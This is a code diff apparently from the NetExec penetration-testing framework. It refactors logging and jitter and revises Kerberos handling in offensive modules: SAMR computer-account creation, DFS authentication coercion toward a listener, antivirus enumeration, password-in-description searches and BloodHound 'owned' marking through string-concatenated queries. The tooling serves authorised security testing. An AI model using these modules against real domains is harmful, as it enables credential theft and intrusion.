||||
if self.args.jitter:
|
||||
jitter = self.args.jitter
|
||||
if "-" in jitter:
|
||||
start, end = jitter.split("-")
|
||||
jitter = (int(start), int(end))
|
||||
else:
|
||||
jitter = (0, int(jitter))
|
||||
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
|
||||
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
|
||||
sleep(value)
|
||||
|
||||
with sem:
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
@@ -486,3 +555,12 @@ class connection:
|
||||
|
||||
def mark_pwned(self):
|
||||
return highlight(f"({pwned_label})" if self.admin_privs else "")
|
||||
|
||||
def load_modules(self):
|
||||
self.logger.info(f"Loading modules for target: {self.host}")
|
||||
loader = ModuleLoader(self.args, self.db, self.logger)
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
module = loader.init_module(module_path)
|
||||
self.modules.append(module)
|
||||
+1
-1
@@ -13,7 +13,7 @@ bh_enabled = False
|
||||
bh_uri = 127.0.0.1
|
||||
bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
|
||||
@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
|
||||
_add_with_domain(user_info, domain, tx, logger)
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
return
|
||||
except ServiceUnavailable:
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
return
|
||||
except Exception as e:
|
||||
logger.fail(f"Unexpected error with Neo4J: {e}")
|
||||
return
|
||||
driver.close()
|
||||
finally:
|
||||
driver.close()
|
||||
|
||||
|
||||
def _add_with_domain(user_info, domain, tx, logger):
|
||||
|
||||
@@ -95,7 +95,7 @@ class ModuleLoader:
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name.lower()}": {
|
||||
f"{module_spec.name}": {
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
|
||||
+92
-43
@@ -9,6 +9,74 @@ from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
from rich.logging import RichHandler
|
||||
import functools
|
||||
import inspect
|
||||
import argparse
|
||||
|
||||
|
||||
def parse_debug_args():
|
||||
debug_parser = argparse.ArgumentParser(add_help=False)
|
||||
debug_parser.add_argument("--debug", action="store_true")
|
||||
debug_parser.add_argument("--verbose", action="store_true")
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
|
||||
"""
|
||||
@functools.wraps(func)
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
self.log_console_to_file(formatted_text, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
@@ -16,21 +84,21 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
handlers=[
|
||||
RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False,
|
||||
)
|
||||
],
|
||||
handlers=[RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
"""Format msg for output
|
||||
@@ -40,31 +108,23 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
|
||||
|
||||
@no_debug
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""Display text to console, formatted for nxc"""
|
||||
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
|
||||
@@ -72,13 +132,15 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def success(self, msg, color="green", *args, **kwargs):
|
||||
"""Print some sort of success to the user"""
|
||||
"""Prints some sort of success to the user"""
|
||||
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
"""Prints a completely yellow highlighted message to the user"""
|
||||
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
|
||||
@@ -86,6 +148,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def fail(self, msg, color="red", *args, **kwargs):
|
||||
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
|
||||
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
@@ -99,26 +162,12 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
if len(self.logger.handlers):
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(
|
||||
LogRecord(
|
||||
"nxc",
|
||||
20,
|
||||
"",
|
||||
kwargs,
|
||||
msg=text,
|
||||
args=args,
|
||||
exc_info=None,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
else:
|
||||
self.logger.info(text)
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
@@ -152,7 +201,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
+1
-1
@@ -27,7 +27,6 @@ class NXCModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
"""
|
||||
self.context = context
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
@@ -39,6 +38,7 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
self.context = context
|
||||
if self.server is None:
|
||||
search_filter = "(objectClass=pKIEnrollmentService)"
|
||||
else:
|
||||
|
||||
+13
-17
@@ -1,8 +1,8 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
import sys
|
||||
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -41,6 +41,7 @@ class NXCModule:
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
@@ -61,11 +62,10 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__host = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
@@ -87,8 +87,7 @@ class NXCModule:
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
else:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
@@ -102,15 +101,10 @@ class NXCModule:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
target = self.__targetIp or self.__target
|
||||
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(self.__port)
|
||||
|
||||
if self.__targetIp is not None:
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
rpc_transport.setRemoteName(self.__target)
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport.sethost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
@@ -119,10 +113,13 @@ class NXCModule:
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
@@ -178,7 +175,6 @@ class NXCModule:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
sys.exit(1)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
|
||||
@@ -221,8 +221,6 @@ class NXCModule:
|
||||
|
||||
Based on the work of @_nwodtuhs and @BlWasp_.
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
context.log.debug(f"module_options: {module_options}")
|
||||
|
||||
if not module_options:
|
||||
@@ -273,6 +271,7 @@ class NXCModule:
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
|
||||
@@ -2,7 +2,7 @@ from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
@@ -33,9 +33,9 @@ class NXCModule:
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
target=connection.host,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
kdcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
@@ -95,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
rpctransport.setRemoteHost(target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
@@ -108,11 +109,12 @@ class TriggerAuth:
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
# if target:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
@@ -134,8 +136,7 @@ class TriggerAuth:
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
if self.args.verbose:
|
||||
nxc_logger.debug(request.dump())
|
||||
nxc_logger.debug(request.dump())
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
|
||||
+26
-18
@@ -5,6 +5,7 @@
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
|
||||
|
||||
@@ -35,7 +36,7 @@ class NXCModule:
|
||||
results = self._detect_installed_services(context, connection, target)
|
||||
self.detect_running_processes(context, connection, results)
|
||||
|
||||
self.dump_results(results, connection.hostname, context)
|
||||
self.dump_results(results, context)
|
||||
|
||||
def _get_target(self, connection):
|
||||
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
|
||||
@@ -50,7 +51,8 @@ class NXCModule:
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
kdcHost=connection.domain,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
@@ -58,18 +60,16 @@ class NXCModule:
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
try:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
|
||||
return results
|
||||
|
||||
def detect_running_processes(self, context, connection, results):
|
||||
@@ -80,13 +80,16 @@ class NXCModule:
|
||||
for product in conf["products"]:
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
|
||||
def dump_results(self, results, remoteName, context):
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
context.log.highlight("Found NOTHING!")
|
||||
return
|
||||
@@ -119,6 +122,7 @@ class LsaLookupNames:
|
||||
password="",
|
||||
remote_name="",
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
@@ -133,7 +137,8 @@ class LsaLookupNames:
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.dcHost = kdcHost
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
@@ -146,6 +151,7 @@ class LsaLookupNames:
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
@@ -157,14 +163,13 @@ class LsaLookupNames:
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
# Set the authentication level
|
||||
if self.authn_level:
|
||||
dce.set_auth_level(self.authn_level)
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
@@ -261,7 +266,10 @@ conf = {
|
||||
{"name": "epfw", "description": "ESET"},
|
||||
{"name": "epfwlwf", "description": "ESET"},
|
||||
{"name": "epfwwfp", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
|
||||
{"name": "ERAAgent", "description": "ESET Management Agent service"},
|
||||
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
|
||||
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
|
||||
@@ -3,6 +3,7 @@ from impacket.http import AUTH_NTLM
|
||||
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
|
||||
@@ -65,10 +66,10 @@ class NXCModule:
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
else:
|
||||
pass
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(rpctransport)
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
@@ -98,8 +99,10 @@ class NXCModule:
|
||||
context.log.debug(e)
|
||||
return
|
||||
|
||||
def __fetchList(self, rpctransport):
|
||||
def __fetchList(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
|
||||
@@ -12,9 +12,9 @@ class NXCModule:
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Required.
|
||||
|
||||
@@ -31,7 +31,7 @@ class NXCModule:
|
||||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
@@ -102,6 +102,11 @@ class NXCModule:
|
||||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
if conditionFilter and not self.PASSWORDPOLICY:
|
||||
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
|
||||
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
return answersFiltered
|
||||
@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
|
||||
|
||||
|
||||
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
|
||||
if connection.args.local_auth:
|
||||
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
context.log.extra["host"] = connection.domain
|
||||
context.log.extra["hostname"] = connection.host.upper()
|
||||
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
|
||||
for result in credentials_data:
|
||||
username = result["username"].upper().split("@")[0]
|
||||
nthash = result["nthash"]
|
||||
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
[nthash],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
